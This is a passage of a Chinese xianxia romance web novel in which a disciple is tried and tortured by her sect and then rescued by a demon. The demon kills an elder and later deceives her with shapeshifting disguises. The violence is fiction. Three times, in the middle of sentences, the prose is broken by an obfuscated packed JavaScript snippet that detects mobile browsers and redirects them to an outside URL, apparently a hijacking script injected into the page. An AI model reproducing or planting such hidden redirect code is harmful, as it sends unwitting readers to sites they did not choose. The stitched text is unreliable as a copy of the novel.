谢夫人恨得咬牙切齿:“我亲眼看见她同那钟离渊在我妹妹的尸身旁边调情,你侬我侬,无耻至极。钟离渊对她百般宠爱,无有不依的,若她不点头,我妹妹怎会惨死!” 墨让尘听得眉头越来越紧,疑惑地望向辞盈:“此话当真?” 他自然不是在问杀人的事儿,而是被那“调情”、“宠爱”、“你侬我侬”几个词搅乱了心神。 辞盈叹了口气,师尊刚回来,还不知道相思咒的事儿呢。 她也没空跟墨让尘解释,只耐心对谢夫人道:“谢夫人,我跟你说过,赵君娆不知道从哪里得来的错金博山炉,她用这邪器害死许多人,包括你夫君,所以钟离渊杀她也是她咎由自取,你不要胡乱猜疑。” 高台上忽然传来威严的声音:“既如此,错金博山炉现在何处?你可交出来作为物证。” 江鹤川像一尊快要成仙的大佛,岿然不动,面色平静地问。 辞盈无奈道:“错金博山炉本来我是拿到了,但不知道从哪冒出来一个黑衣人,给抢走了。” 执法长老冷哼:“胡编乱造,没有半点可信!” 连传功长老也道:“天罡塔下,人人皆见你与钟离渊勾勾搭搭,不清不楚,莫非……是你将错金博山炉送给了他?让他拿去练功残害苍生!” 辞盈忍无可忍:“这位长老,我说句难听的,钟离渊要残害你还用得着什么炉什么鼎?你上次被他吊起来当风筝放还不是靠我救你?” “岂有此理!无知小儿实在猖狂!”传功长老怒极,一掌将手边玉砖拍得粉碎。 执法长老森然道:“辞盈,你这就是承认与钟离渊确有勾结了。” 我承认你大爷啊? 辞盈懒得理他,转向墨让尘:“师尊,我没有。” 墨让尘点头,声音笃定:“我知道。” “墨宗主!”谢夫人气得浑身发抖,“我当初是敬着你水云剑宗的威名,才对墨宗主的爱徒以礼相待,谁知她竟是条蛇蝎!害死我家八条人命,我夫君和妹妹尸骨未寒,墨宗主难道还要包庇徇私吗?” 墨让尘面不改色:“谢夫人,你既未亲眼见她杀人,便不可随意妄下定论,此事我自会查清事实,还你公道。” “还查什么事实!事实就在眼前,你水云剑宗包藏罪犯,我今日就亲自替我夫君和妹妹报仇!” 谢夫人话音未落,长刀已至,几乎要触到辞盈眼皮,却被一道蓝芒击中,铿然坠地。 墨让尘收起掌心蓝芒,语气微沉:“谢夫人执意如此,本座只好得罪了。” “好个水云剑宗,好个名门正派,竟然恃强凌弱,是看我谢家堡孤儿寡母软弱可欺吗?” 人群哗然。水云剑宗向来自诩正义,如今宗主被人指着鼻子骂却束手无策,实在颜面扫地。 墨让尘却依旧面色平和:“谢夫人,本座并非存心包庇,只是我这徒弟体质特异,乃是世间至纯至善之魂,绝无可能行此恶事。” 这话一出,众人倒有几分动摇。 圣女之魂是验灵河确认过的,不会有假。至纯至善,怎会连杀六人?想必是误会。 “让尘,你错了。” 高台上再次响起冰冷威严的声音。众人目光齐聚,只见高台之上不知何时多了一面金光闪闪的铜镜。 “是摄魂镜!”有人惊呼。 江鹤川双目微眯,口中念诀,镜面射出数道强光笼罩住辞盈,晃得她睁不开眼。 “老祖!”墨让尘脸色骤变,“这是何意!” 摄魂镜乃是上古神器,妖魔鬼怪一照之下无处遁形,即刻便能看出真身。若是以法力催动,更可将妖邪打得元神出窍,魂飞魄散。 所幸江鹤川并未催动法力,只是驱使摄魂镜辨别对方灵识。 然而,强光之下,辞盈身上除了自带金芒以外,竟然掺杂了一丝殷红的血色,细若游丝却绵延不绝。 圣女之魂至纯至善,又怎么会有杂色混入其中? “这红色的东西是什么?”游乘风忍不住问。 江鹤川收起摄魂镜,万道强光骤然消失。他捋着胡须,缓声道:“这是钟离渊留在她体内的一缕神魂。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101546|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群顿时像炸开的锅,沸腾起来。 “什么?” “她体内竟有钟离渊的神魂?那必然也有钟离渊的恶念了!” “怪不得手段残忍!杀人不眨眼!” “杀了她!以绝后患!” “此等邪魔水云剑宗绝不能留!” 情况完全在墨让尘意料之外,大惊之下他一时僵住,喃喃自语:“怎会如此……” 执法长老向前一步,义正辞严道:“妖女祸世,断不可留,请宗主秉公处置!” 王莽立刻附和:“请宗主秉公处置!” 岳朝阳也出列:“请宗主秉公处置!” 游乘风单膝跪地,垂首道:“徒儿纵然顾念同门之谊,却须以天下苍生为重,请宗主秉公处置!” 诸位长老异口同声:“请宗主秉公处置!” “请宗主秉公处置!” 一时群情激愤,众口铄金,仿佛台下站的不是辞盈,而是钟离渊本人一样。既然魔头杀不了,那么杀他一缕残魂也是不错的。吼声如山呼海啸从四面八方向她涌来,每个人的脸上都写满要诛杀妖魔兴奋。 辞盈漠然扫视众人,毫不意外地浮出一抹冷笑。 没错,这才是她本来认识的世界,比起无趣的真相,人们还是对利益和暴力更感兴趣。两个世界同样冰冷,同样血腥,同样令人作呕。 区别在于,从前那个世界,没有人会偏袒她。 她的目光飘向墨让尘。 他面带愠色,扫视众人,语气斩钉截铁:“即便如此,也不能证明她杀了人。” “宗主!”执法长老激愤道,“证据确凿,您若还要一意孤行、偏私枉法,我水云剑宗日后如何在天下人面前抬头……” “不必多言!” 墨让尘喝断他,肃然道,“既无人亲眼所见,便不算证据确凿。给我三日,我定寻回羡之,给诸位一个交代!” 执法长老却道:“恐怕羡之早已死在她手上了!” 众人纷纷附和,痛骂声不绝于耳。 嘈杂声中,角落里突然传出一个清晰的声音,内力浑厚:“她若真杀了羡之,大可以绝口不提,何必自己说出来,平白多添一条罪名?” 众人循声望去,竟是卓雁行靠在台角啃萝卜。 执法长老道:“不过是欲盖弥彰罢了!卓兄,你心胸坦荡,又怎能猜到妖女的阴谋诡计。” 卓雁行冷哼道:“老夫这辈子最烦你们这些满肚子算计的老家伙,还不如跟萝卜白菜打交道舒心。” 正说着,不远处又传来一个悲戚的女声: “辞盈!” 嗓音极柔,却透着绝望,弟子们自觉让出了一条路,广袖华裙的女子神情焦急,匆匆几步抢上前来。 “师祖母……” 叶棠眼中含泪,泫然欲泣:“辞盈,你实话告诉我,羡儿到底在哪?” 辞盈诚恳道:“师祖母,我真的不知。” 叶棠鬓间珠花微动:“辞盈,羡儿天性纯良,他一向视你如珍宝,算作你的亲哥哥也不过分,你怎能……怎能……” “师祖母!”辞盈也红了眼眶,“我若害了二师兄,叫我被千刀万剐也是活该。可我真的不知……” 叶棠见她态度真切,有些犹豫:“你当真没有害羡儿吗……” 游乘风快步上前,将叶棠搀扶到旁边:“师祖母保重身体,此事恐有蹊跷,师祖自会定夺。” 高台之上,江鹤川面色凝重:“辞盈年幼,我亦不忍杀之。然而恶灵不除,祸患无穷。便用降灵灼华梭吧,惩戒七七四十九梭,待她灵识极度虚弱,即可将钟离渊的神魂牵引取出。” 此言一出,众人纷纷称赞。 降灵灼华梭,是个不伤肉身只损灵识的利器,四十九梭下去,灵识支离破碎,曾有过心智不坚的受刑者,只撑到一半便形同痴呆,再难恢复。 “好主意!” “老祖英明!” 即刻便有人将降灵灼华梭呈上来。墨让尘身影快如闪电,瞬间将利器夺在手中道:“此法绝不可行。” 江鹤川面色不悦:“让尘,为了她,你要对抗尊长吗?” “降灵灼华梭凶险至极,四十九梭等于要了她的命,事实尚未查清,怎能随意伤人?”墨让尘垂首道:“老祖,让尘愿做担保,辞盈绝无害人之心。” “你被妖女迷惑了心智。”江鹤川眼中怒意更盛,“若你不能以水云剑宗为重,便不配为宗主!” 墨让尘沉默半晌,抬起头来,眼中隐有血色:“让尘本是孤儿,幸得师尊自幼收养,悉心教导才有今日,让尘今日违逆师尊,实应以死谢罪。” 江鹤川本就视他如同亲生儿子一般,听他这么说话,心里一软。 墨让尘似是已经下定决心,正视江鹤川,一字一顿道:“辞盈是我的弟子,她若有错也是我疏于管教。若师尊能放过她,让尘愿卸任宗主,听凭发落。” 江鹤川气得差点儿从高台上滚下去。 17. 我要这清白有个屁用 狐媚祸乱至此,这妖女,非除不可! 江鹤川袍袖一挥,宽大的道袍中骤然飞出一根缚仙索,如灵蛇般迅猛窜出,猝不及防便将墨让尘捆了个结结实实。 “老祖——!” 墨让尘惊怒交加,猛地挣扎数下,可那缚仙索偏生邪门,他越是用力,勒得便越紧,仿佛长在了骨血里,任他有通天本事,此刻也只剩束手束脚的份。 再顾不上什么宗主的体面,他红了眼眶,嗓音也变了调:“辞盈修行尚浅,四十九梭她万万承受不住!师尊!弟子愿代她受罚!” “让我代她!求您!!!” 江鹤川却如未闻,神情淡漠,将手中那柄降灵灼华梭递向执法长老,声音没有一丝波澜:“你来掌刑。” “老祖!!!” 梭长如手臂,通体透明似冰晶,流转着凛冽的银光,周身萦绕的寒气几乎要将空气冻结。 在一片鄙夷唾骂的目光里,辞盈被死死绑上刑架。 她并没有挣扎,显然挣扎也无济于事,只会令自己更加狼狈。她想做个体面人。 执法长老也不知跟她有什么深仇大恨,恶狠狠道:“妖女,到了这步田地,认不认罪,都由不得你了!” 辞盈脑子里闪过无数电影里英雄先烈受刑的画面,这个时候似乎应该仰天大笑或者啐敌人一脸才显得很牛逼。 但她现在盯着那个尖锐的银梭真笑不出来,要说啐,又似乎有点儿不够优雅。 只剩一个念头在心里攥得死紧:咬紧牙关,绝对不能喊钟离渊。 这时候把他喊来,就等于坐实了自己的罪名,再难翻身。 英雄有言:粉身碎骨浑不怕,要留清白在人间。 第一梭刺进身体的瞬间,辞盈双眼猛地睁圆,嘴巴无声地张大,连呼吸也不能了。 头痛欲裂,伤口处像被烈焰灼烧成焦炭。皮肉明明完好无损,灵魂却仿佛被扔进绞肉机,一寸寸碾碎成泥。 疼得人连叫也叫不出。 耳膜嗡嗡作响,墨让尘的嘶吼仿佛从极遥远的地方传来,辨不清字句,只觉得撕心裂肺的痛,顺着空气钻进骨子里。 谢夫人站在一旁,脸上是毫不掩饰的快意:“妖女!我谢家堡的血仇,今日就要你加倍偿还!” 围观的弟子们窃窃私语:“这玩意儿看着就邪乎,四十九梭下去,她还能活吗?” 旁边人接话:“死不了,老祖仁慈,说了留她一命,算便宜她了。” “死了才好!平日里仗着有宗主撑腰,狂得没边,连我的邀约都敢拒,活该!” “哈哈,你这是丢了面子怀恨在心吧。” 第二梭下去,辞盈觉得自己大概已经死了。 那梭看起来光滑透明,刺入身体却仿佛带着无数倒刺的狼牙棒,狠狠地豁开细嫩的皮肉,将五脏六腑都搅得稀烂。 意识开始模糊,灵魂像被龙卷风撕烂的破布条,在风中飘得支离破碎。 还剩……四十七梭? 清白…… 辞盈忽然就清醒了。 去他妈的粉身碎骨浑不怕,人都死了我要这清白有个屁用。 体面人?体面不了一点儿。 她脸色惨白,汗水淋湿了衣衫,毫无血色的嘴唇颤抖着,自言自语一般不知道嘀咕了什么,声音细若蚊蚋。 “你说什么?” 执法长老以为她要招供,凑近了些,苍老的脸上沟壑纵横,笑起来时,皱纹里都像藏着刀子。可下一秒,他脸上的笑骤然僵住,警惕地朝四周张望。 起风了。 暮苍山本就高耸入云,起风本来再寻常不过。 可是这风却不是普通的风,而是裹挟着浓重邪气和恶意的妖风,如同席卷八荒的腾腾杀气滚滚而来,誓要将所有活物卷入地狱里,万劫不复。 “大家小心!” “有妖气!” “戒备!” 众人瞬间如临大敌,只见阴云翻涌,妖风怒号,天地间一片昏暗。 巨大的鸣蛇轰然落地,风势愈发狂暴,吹得人根本睁不开眼。道行浅些的弟子们惨叫着被掀飞,滚出老远。 一时间人仰马翻,乱作一团。 狂风之中,一抹鲜亮的红衣从天而降,旋身落地,雪白的手指轻轻一勾,挑断了辞盈身上的绑索。 辞盈已经疼成一滩烂泥,骤然脱了绳索的束缚,连站也站不住,十分不见外地倚靠在他身上。 少年揽住她的腰,盯着怀里被折腾丢了半条命的人,如同自己也挨了两梭,眼底压抑着翻涌的怒火: “现在才想起我,你不如等死透了再喊我来收尸。” 他一早就察觉到不对,却迟迟等不到求救,只能忍着神魂里的刺痛四处搜寻。 若是她再不喊他,他恐怕真要被这股憋闷的火气给燎着了。 辞盈勉力抬眼,看向钟离渊,他的脸色似乎比之前更白,额间也有细密的汗珠,不知道是因为相思咒还是神魂相连,他居然能对她的痛苦感同身受。 “抱歉……”她勉强扯了扯嘴角,挤出一个比哭还难看的笑容来,“让你陪我受苦了……” “妖孽!竟敢来闯我水云剑宗!” 执法长老刚要动作,耳边传来一声冷哼,定睛一看,少年已经近在咫尺,眼中杀意几乎要溢出来。 “老头,没人告诉过你,她碰不得吗?” 有人凄厉地尖叫。 执法长老瞳孔骤缩,猛地后退一步,却见少年手中握着颗血肉模糊的东西,还带着温热,在他掌心有节奏地跳动,鲜血顺着修长的手指淌到雪白的手腕上,红得触目惊心。 少年嘴角扬起一抹毫无温度的笑:“喏,这是你的心,颜色好看吗?” 执法长老张了张嘴,喉咙里发不出半点声音,他不可置信地低头,看着自己胸口那个鲜血淋漓的窟窿,身体缓缓失去平衡,重重栽倒在少年脚下。 钟离渊随手将那颗心脏丢在一旁,优雅地弯下腰,在执法长老的衣服上擦净手上的血,又捡起地上的降灵灼华梭,看也不看,猛地掷向江鹤川。 江鹤川迅速旋身躲闪,梭身还是堪堪穿透他的手臂,剧痛如潮水般蔓延全身,像被凶兽撕咬掉半条胳膊。 可他修为深厚,竟只是皱了皱眉,硬生生忍了下来。 钟离渊直起身,周身散发着令人窒息的压迫感,阴恻恻的目光扫过刑台之下。 暮苍山上瞬间死寂,刚才还看得津津有味的众人,此刻连呼吸都不敢大声,恨不得把隐身符直接贴在脑门上。 谢家堡的人混在水云剑宗弟子中,格外扎眼。镖师们吓得缩着脖子,恨不得当场钻地缝,却还是被他一眼盯上。 “看来,你们是没把我的话传出去?” 钟离渊掌心聚起一片红光,眼看就要大开杀戒,一道锋利的蓝芒却破空而来,力贯千钧地劈向他,逼得他不得不带着辞盈迅速闪身避开。 原来江鹤川终于反应过来,解开了墨让尘身上的缚仙索。 墨让尘面沉似水,手中醉花剑散发着从未有过的淡蓝色锋芒,凌厉得让人不敢直视: “放开她。” “你说什么?” 钟离渊像是听到了天大的笑话,漂亮的眼睛里闪过危险的光,将怀里的人抱得更紧,语气里满是挑衅,“她是我的。” “辞盈,你果然与这妖孽勾结!”传功长老怒喝。 谢夫人也尖叫:“这下证据确凿!你还敢不承认杀害我谢家堡八条人命吗?!” 钟离渊嗤笑一声,不耐烦地扬声道:“区区八人,我想杀便杀了。明日我高兴了,把你谢家堡一锅端了,你又能怎样?” “你!”谢夫人气得满脸涨红,一句话也说不出来。 高台上,江鹤川沉声问道:“钟离渊,错金博山炉可是在你手上?” 钟离渊笑道:“什么炉什么鼎,老道,你想要的都在我这,你们这么多人,个个都是废物,有种就来拿。” “钟离渊,你莫要太过猖狂。”江鹤川喝道。 钟离渊感觉到辞盈倚靠他的力度越来越大,整个人像根软面条一样支撑不住,便将她打横抱起,不想再与其他人多废话,转身欲走,面前却横出一道剑刃。 “我说,放开她。” 墨让尘胸中犹如惊涛骇浪,面上却波澜不惊,看不出半分情绪。 钟离渊眼神冷得像冰,看得人脊背发凉:“找死?” 辞盈的心瞬间提到了嗓子眼。 三百年前,墨让尘的父母墨翊与幼青以身殉道,合力诛杀钟离桀,救苍生于水火,却也留下两个年幼的孤儿。 不知是天性遗传,还是后天造化。 英雄的儿子得江鹤川悉心培养,根儿正苗红地长大,也成了墨翊一样光风霁月的谦谦君子,做了水云剑宗的宗主。 而恶魔的儿子在凡尘中颠沛流离,被囚于天罡塔下,成了又一个杀人不眨眼的魔头,人人谈之色变。 他们之间,本就有着杀父之仇。若是真动起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101547|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,拼个你死我活……辞盈连想都不敢想。 两个都是她的靠山,是她在这个妖魔鬼怪横行的世界里活下去的指望,哪个残了都是她的巨大损失。 万一不幸两败俱伤,那她就算不被外头的妖魔鬼怪吃了,也得被水云剑宗给挫骨扬灰。 辞盈环住钟离渊脖颈的手臂紧了紧,焦急道:“你不要伤我师尊!” 少年眼中的戾气瞬间消散,无奈地叹了口气。 这鬼相思咒简直要命,他明明已经起了杀心,却偏偏狠不下心违逆她的意思,满腔的怒火生生给她一句话浇灭了。 他看向墨让尘,态度轻蔑:“我放开她,然后呢,送给你们杀吗?” 墨让尘握着剑柄的手指紧了又松,松了又紧。 想立刻冲上去,搏命也要把她抢回来。 可她虚弱地躺在钟离渊怀里,却对自己轻轻摇了摇头。 她为何不愿?是害怕水云剑宗的刑罚,还是……舍不得离开那少年? 高台上,江鹤川的声音不容置疑:“让尘,还不动手,在等什么?” 少年嗤笑:“连自己的弟子都护不住,你有什么资格跟我打?” 墨让尘脸色愈发冷冽,手紧得关节发白,却迟迟没有动作。 终于,紧绷的手腕缓缓垂下。 “等我。”墨让尘沉声道,“我定会找到羡之,带你回来。” 辞盈没有回答,只觉得耗尽了最后一丝力气,疲惫地闭上眼,昏睡过去。 太累了,仿佛几辈子加起来,都没这么累过。 奇怪的是,此刻躺在世人畏惧的恶魔怀里,她却感到了从未有过的安心。 钟离渊抱着她,闲庭信步般从墨让尘身边走过,肩膀平齐时,忽然停下脚步。 他歪过头看墨让尘,俊俏的脸上带着三分讥笑、七分挑衅,像孩童般顽皮地挑了挑眉,嘴角一撇——那神情仿佛在说:你别做梦了。 随即,朗声大笑着扬长而去。 辞盈不知道自己是怎么离开水云剑宗的,她最后的记忆,是墨让尘那双悲戚的眼睛。 记忆里的师尊,向来笃定淡然,像个无欲无求的老神仙,就算天塌下来,也未必会动容。她从未见过他那般模样,像遗失了最珍贵的宝物,惊慌又无力。 眼前一黑,灵识彻底陷入混沌。 朦胧中,梦一个接一个。时而穿梭回原来的世界,坐在拥挤的教室里上课;时而看到胡四化作巨人,满脸横肉地朝自己扑来。 破碎的梦境,像散了一地的玻璃碴。 暮苍山上,竹林深处,墨让尘衣袂飘飘,温润如玉地对她伸出手:“小盈,过来。”她正要上前,一道红光却如利剑般穿透他的身体,雪白的衣袍瞬间被染红,而钟离渊就站在他身后,笑得邪魅,双手沾满鲜血。 “师尊!不要——” 辞盈猛地从床上弹坐起来,惊慌失措间,手脚无意识地胡踢乱打。 “在呢在呢,我在这呢。” 意识渐渐回笼,她才发现自己被人紧紧抱在怀里。那人捉住她的手腕,力道却很轻,像是怕弄疼她,只紧紧拥着,一遍遍重复着安抚的话。 “别怕,没人能再伤害你了。” 她仰起头,看见少年雪白的脖颈,棱角分明的下颌线,漂亮的狐狸眼里满是担忧,薄唇轻启:“你怎么像诈尸一样?” “……” 刚才还挺会哄人的,怎么她一醒,就不会说人话了? 辞盈想起刚才的梦,打了个寒颤。 钟离渊扯过一条锦被,将她裹成个粽子:“好些了吗?” 辞盈心里无端生出一阵烦躁。 本想谢谢他的救命之恩,可一想到自己受的冤屈都因他而起——若不是他自作主张塞了一缕神魂进来,她何至于受这降灵灼华梭的罪? 再联想到刚才的梦,更觉得眼前这人面目可憎。 “你为什么要承认谢家堡的人是你杀的?为什么要说错金博山炉在你手上?”辞盈质问,“你想背黑锅,能不能别连累我?” 钟离渊愣了一下,很快,他又恢复了那副满不在乎的样子:“我为什么要跟他们解释?” 辞盈被噎了一下,竟不知如何反驳。 被冤枉了就要解释,这不是天经地义吗? 钟离渊又道:“你解释了,他们信了吗?我承认了,他们敢动一下吗?这世上,本就是谁拳头硬谁说话,费那口舌做什么。” “你……”辞盈气得说不出话来。 18. 疼吗 说又说不过,打也打不动,一肚子邪火憋得她肺管子都疼。辞盈咬着后槽牙:“我想自己待会儿,你先出去。” 钟离渊偏不肯走。 他笑了笑,眉间那抹颜色潋滟的花钿忽明忽暗:“可我想陪着你。” 降灵灼华梭穿透皮肉的伤还在突突跳着疼,脑仁更是要炸开,辞盈烦躁得很,没好气道:“你听不懂人话吗?男女授受不亲懂不懂?你想陪也得问我愿不愿意吧!” 这位活了三百年、脸蛋却嫩得能掐出水的祖宗听完,眼里的光“唰”地暗下去了。他吸了吸鼻子,却不肯走,眼睛湿漉漉地望着她。 辞盈心头一软。 说到底,这摊烂事也不全是他的错。自己哭着喊着求人家救命,一回头就卸磨杀驴,确实不地道。 正想缓和语气,钟离渊忽然审视着她:“你昏迷时,喊了十几次师尊。你喜欢他?” 辞盈浑身的血瞬间冻住,半句话不敢再多说。 这祖宗该不会现在就提着刀去水云剑宗砍人吧? 红颜祸水这种词从前在书上看只觉得有趣,侧重点全在红颜二字。如今轮到自己头上,再无关风月,满脑袋都是一个“祸”字,不祥之极。 她强装镇定,瞪圆了眼:“胡说什么?师徒有伦,我怎么会……” “我知道了。”钟离渊干脆地打断,起身就走。 知道了?知道什么了?是吃醋的气话还是要动手的狠话? 辞盈猜不透他的心思,目光落在这间精巧的小室上。 炽碎的日光透过琉璃窗棂漏进屋内,漫洒在猩红色织锦毛毡上,高几上摆着的白玉釉瓷瓶里斜插着几枝海棠花,开得正好。床榻更是极软,锦衾层层堆叠,上悬金纱帐幔,帐前垂着如意纹镂空银球。 她不认识博古架是檀木楠木还是花梨木,也辨不出屋里熏的是什么沁人心脾的安神香料,却能真切地感受到布置这间房是用了心的。 水云剑宗讲究清修,铁床木板薄被单桌,活像个苦修版大学宿舍,哪里见过这样软乎乎的被窝,辞盈钻进去,把烦心事一股脑抛到脑后——先睡够了再说。 不知睡了多久,窗外天色泛青。辞盈迷迷糊糊翻了个身,嘟囔着“渴”,门就“吱呀”一声开了。两个梳着双螺髻的小丫鬟走进来,一个麻利地倒茶,另一个捧着杯子,恭恭敬敬地递上前。 倒茶的看着才十五六岁,伺候人的动作却比老嬷嬷还熟练;奉茶的更小,眉眼间还带着稚气。 辞盈这辈子没被人伺候过。穿到这里后,在水云剑宗混日子,既要巴结师尊,又要帮同门师兄弟跑腿,哪里享受过这待遇?使唤的居然还是未成年人。 雇佣童工是犯法的好嘛! 她浑身不自在,尴尬地接过茶杯:“谢谢。” 话音刚落,两个丫鬟“扑通”跪下,声音抖得像秋风里的落叶:“姑娘千万别这么说,奴婢受不起!” 辞盈吓得手上一抖,杯子差点儿扣在床上,当场结巴了:“快快快起来,你你你们这样我也受不起啊。” 两个小丫鬟这才起身,规规矩矩站在边上侯着。 辞盈脑海里只有一句话形容自己: 山猪吃不了细糠。 她坐如针扎地沉默着忍了一会儿—— “你们俩能回去休息吗?我不习惯旁边有人。” 年纪稍长的小丫鬟依然垂着头道:“奴婢遵命,请问姑娘,外面那二十八个丫鬟婢女是继续在门口侯着,还是也先退下?” 夺少??? 辞盈瞳孔震颤:“你说我门外还有多少丫鬟?” “回姑娘的话,外面还有八名丫鬟,二十名婢女,算上我们两个,共三十人。” 她才想起来,这是自己那天信口胡诌的要求。 他居然记住了,还真的照做了?! 辞盈心累地摆手:“辛苦了,告诉所有人都歇了吧,我不喊你们不用过来……哎,不是,你别哭啊妹妹。” 两个丫鬟瞬间红了眼,眼泪像断了线的珠子:“求姑娘留我们一条活路!主人说,伺候不好姑娘,我们都别想活了……” 辞盈在心里把钟离渊骂了三遍,耐着性子安抚:“别怕,我跟他说你们伺候得极好,就是我想一个人待会儿。” 丫鬟们千恩万谢地退了出去。辞盈刚松口气,准备再眯一会儿,又有人“咚咚”敲门。 她料想又是哪个怕死的丫鬟进来哭求,随口道:“进来吧。” 下一秒,她差点滚下床。 来人衣白如雪,玉带束发,丝履纤尘不染,几步行至床前,伸手便搭上她的脉:“你的伤势如何了?” “师……师尊!”辞盈舌头都快打结了,“你怎么来了?找到二师兄了吗?” 墨让尘俯身,指尖拂过她额前碎发,动作温柔得能滴出水:“没有。我实在担心你,还疼吗?” “不疼了!”辞盈急道,“师尊你快走吧,被钟离渊发现就糟了!” “无妨,我已设法拖住他。” 烛火摇曳,满室馨香里,墨让尘修长的手指轻轻抚过她的脸颊,眸色暗沉如夜:“对不起,为师没能保护好你。” 辞盈被这突如其来的温柔冲得发懵,结结巴巴道:“师、师尊,我真没事儿。” “别唤我师尊。”他声音低哑,忽然将她揽进怀里,“我不想再做你的师尊了。” “啊?”辞盈刚挨了两梭的大脑本就迟钝,瞬间短路了。 “你也不想只做我的弟子,对吗?” 墨让尘捧起她的脸,眼里的柔情浓得化不开,目光落在她的唇上,缓缓低下头—— 却只吻到一片冰凉的指尖。 辞盈的手死死挡在中间:“你不是我师尊。” 他眼神灼热似火,急切地又要吻下来:“对,从今天起不是了,叫我名字就好。” “好啊,钟离渊。”辞盈冷冷地盯着他,“你好恶趣味。” 眨眼间,墨让尘变戏法似的消失了。 只剩红衣胜枫的少年俯在床边,捏着她的手凑到唇边轻吻,满脸遗憾:“差一点,就差一点。你怎么发现的?” 这是他妈的什么邪门法术! “钟离渊!”辞盈怒火中烧,之前对他的那点儿不忍心消散得无影无踪,抓起手边的枕头砸过去,“你这个骗子!无赖!这种事都做得出来,简直厚颜无耻!” 钟离渊眨眨眼,一脸无辜:“你不是喜欢他吗?我变成他的样子每天陪着你不好吗?” 辞盈被他理所当然的态度气得肝儿疼:“你……你觉得我喜欢师尊,是因为他长得比你好看吗?” “哦,那倒不是。”钟离渊掸了掸本就平整飘逸的衣襟,很不服气地道,“大概是你眼瞎吧。” 辞盈:“……” “滚——!” 钟离渊倒是听话,安静地滚了。 不消片刻又听到咚咚咚,辞盈斜了门口一眼:“谁?” 门“吱嘎”开了。进来的人眉清目秀,锦衣华服,手里提着宝剑,腰间玉佩叮当作响。 “小师妹,想我了吗?” 辞盈:“……” 她面无表情地望着眼前笑容浪荡的江羡之,已经无力吐槽。 二师兄虽然人傻钱多又爱笑,但他的笑容就像深山泉水,不藏不掖着,一眼望到底。而眼前人笑得一股子邪魅,不清不楚,仿佛千年狐妖成精附在了二师兄身上。 她勾勾手指:“二师兄,你过来。” 江羡之刚走近,腰间的剑就被辞盈抽了出来,当头劈下。他出手极快,轻松抓住她的手腕,笑道:“小师妹,你伤不到我的。” “我也没指望真能砍着你,”辞盈翻了个白眼,“就是太生气了,手控制不住。” 江羡之低头看看自己:“这个样子你也不满意吗?之前在天罡塔下属他叫唤得最卖力,我还以为你会喜欢。” 辞盈现在相信,人被关得太久,脑子是会出问题的。 她深吸了一口气,努力保持平静:“立刻变回你本来的样子,永远不要再跟我玩这种拙劣的变装秀了,可以吗?” “哦。” “钟离渊,你知道什么是喜欢吗?” 他转身倒了一杯温热的清茶递给她,然后摆出一副洗耳恭听的架势:“你说。” 辞盈接过来咕咚咕咚一口气干了,抹抹嘴:“喜欢不是占有,而应该是奉献。比如你如果喜欢我,就不应该用法术骗我。” 钟离渊点点头:“嗯。” “你应该放我自由,让我去做自己想做的事。” “这个不行。”他想都没想就打断。 “为什么不行?” “一天看不到你我就浑身难受。”钟离渊委屈得像只被抛弃的小狗,“除非你解了我的咒,我立刻放你走。” 相思咒怎么解?江鹤川那句“不死不休”,至今还在她耳边回响。 辞盈叹了口气:“对不起,我也不想这么吊着你,这咒我真解不了。” 钟离渊蹲下身,温柔地握住她的手,仰着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101548|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸看她,眼睛亮晶晶的:“真的不能解吗?” “真的。”辞盈满心愧疚。 钟离渊凝望着她,半晌,忽然笑了,眼里的光像星星落了进去:“很好。以后不管我怎么骗你、求你,都别解咒,永远别解,记住了吗?” 辞盈露出一丝迷茫:“什么意思?” 钟离渊眼底掠过一丝极快的暴戾,快得让人以为是错觉:“因为我都是骗你的。一旦解了咒,我会立刻弄死你……用最残忍的手段。” 手心还握着他的温度,眼前人却深情款款地说出令人毛骨悚然的话。 辞盈浑身的汗毛根根竖立。 “那你为什么要告诉我?” “因为我怕你死。一想到你会死在我手里,我就难过得喘不过气。”他握着她的手更紧了,仿佛怕她下一秒就消失。 “……” 辞盈多一分钟都不想再跟这个疯批待在一起。 钟离渊起身吩咐了几句,很快有人端来各色精致点心。 “我们在逍遥山庄吗?”辞盈看着满桌吃食,“这些仆人是哪来的?你被压了三百年,哪来的豪宅和佣人?” 钟离渊将点心端到床边,自己拉了一把木椅坐过来:“他们都是祖辈开始就在逍遥山庄做事的佣人,我付三倍佣金,他们为什么不愿意做?” 辞盈好奇:“你哪来的钱?” “自然是李贽那个王八蛋留下的。”他嗤笑一声,“那老东西攒了几辈子花不完的财宝。”他边说边夹起一块豌豆黄,小心地递到她嘴边,“尝尝?” 